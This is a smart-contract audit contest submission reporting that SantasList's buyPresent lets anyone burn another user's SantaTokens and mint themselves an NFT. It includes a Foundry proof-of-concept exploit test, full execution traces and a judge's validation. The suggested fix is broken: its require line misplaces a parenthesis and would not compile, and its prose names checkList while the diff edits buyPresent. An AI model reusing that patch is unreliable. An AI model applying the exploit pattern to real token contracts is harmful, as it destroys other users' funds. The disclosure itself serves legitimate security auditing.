Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

user can get free token by burn others tokens

Summary

user can get free token by burn others tokens

Vulnerability Details

user can get free token by burn other users tokens

Impact

it may result in an inaccurate deduction of tokens from the presentReceiver. This could impact the overall token economy and user balances.

POC

add this to tests files

run $forge test -vvvv --mc POCSantasListTest

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import {SantasList} from "../../src/SantasList.sol";
import {SantaToken} from "../../src/SantaToken.sol";
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";
contract POCSantasListTest is Test {
SantasList santasList;
SantaToken santaToken;
address user = makeAddr("user");
address santa = makeAddr("santa");
address attacker = makeAddr("attacker");
function setUp() public {
vm.startPrank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
vm.stopPrank();
}
function testBuyPresent() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
santasList.checkList(attacker, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(attacker, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santaToken.approve(address(santasList), 1e18);
santasList.collectPresent();
vm.stopPrank();
console.log("User Token Before :",santaToken.balanceOf(user));
console.log("Attacker NFT Before :",santasList.balanceOf(attacker));
//santasList.buyPresent(user);
vm.startPrank(attacker);
//santaToken.approve(address(santasList), 1e18);
//santasList.collectPresent();
santasList.buyPresent(user);
console.log("User Token After :",santaToken.balanceOf(user));
console.log("Attacker NFT After :",santasList.balanceOf(attacker));
}
}

logs

Logs:
User Token Before : 1000000000000000000
Attacker NFT Before : 0
User Token After : 0
Attacker NFT After : 1
Traces:
[286143] POCSantasListTest::testBuyPresent()
├─ [0] VM::startPrank(santa: [0x70C9C64bFC5eD9611F397B04bc9DF67eb30e0FcF])
│ └─ ← ()
├─ [24111] SantasList::checkList(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 1)
│ ├─ emit CheckedOnce(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 1)
│ └─ ← ()
├─ [24419] SantasList::checkTwice(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 1)
│ ├─ emit CheckedTwice(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 1)
│ └─ ← ()
├─ [24111] SantasList::checkList(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], 1)
│ ├─ emit CheckedOnce(person: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], status: 1)
│ └─ ← ()
├─ [24419] SantasList::checkTwice(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], 1)
│ ├─ emit CheckedTwice(person: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], status: 1)
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [283] SantasList::CHRISTMAS_2023_BLOCK_TIME() [staticcall]
│ └─ ← 1703480381 [1.703e9]
├─ [0] VM::warp(1703480382 [1.703e9])
│ └─ ← ()
├─ [0] VM::startPrank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← ()
├─ [24546] SantaToken::approve(SantasList: [0xE6E33783D6533ad50d373DDaa6fD21b272a57B69], 1000000000000000000 [1e18])
│ ├─ emit Approval(owner: 1000000000000000000 [1e18])
│ └─ ← true
├─ [117577] SantasList::collectPresent()
│ ├─ emit Transfer()
│ ├─ [46713] SantaToken::mint(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ │ ├─ emit Transfer(from: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [542] SantaToken::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 1000000000000000000 [1e18]
├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000135573657220546f6b656e204265666f7265203a00000000000000000000000000) [staticcall]
│ └─ ← ()
├─ [2678] SantasList::balanceOf(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← 0
├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001541747461636b6572204e4654204265666f7265203a0000000000000000000000) [staticcall]
│ └─ ← ()
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← ()
├─ [39319] SantasList::buyPresent(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ ├─ [2348] SantaToken::burn(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ │ ├─ emit Transfer(from: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ ├─ emit Transfer()
│ └─ ← ()
├─ [542] SantaToken::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 0
├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000125573657220546f6b656e204166746572203a0000000000000000000000000000) [staticcall]
│ └─ ← ()
├─ [678] SantasList::balanceOf(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← 1
├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000001441747461636b6572204e4654204166746572203a000000000000000000000000) [staticcall]
│ └─ ← ()
└─ ← ()

Tools Used

Manual Review

Recommendations

add a modifier to checkList function.

diff --git a/SantasList.sol b/aSantasList.sol
index c6b1476..5aab1c8 100644
--- a/SantasList.sol
+++ b/aSantasList.sol
@@ -169,8 +169,9 @@ contract SantasList is ERC721, TokenUri {
* @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens.
* @dev You'll first need to approve the SantasList contract to spend your SantaTokens.
*/
- function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
+ function buyPresent() external {
+ require(i_santaToken.balanceOf(msg.sender > 0),"Sender has no SantaTokens");
+ i_santaToken.burn(msg.sender);
_mintAndIncrement();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.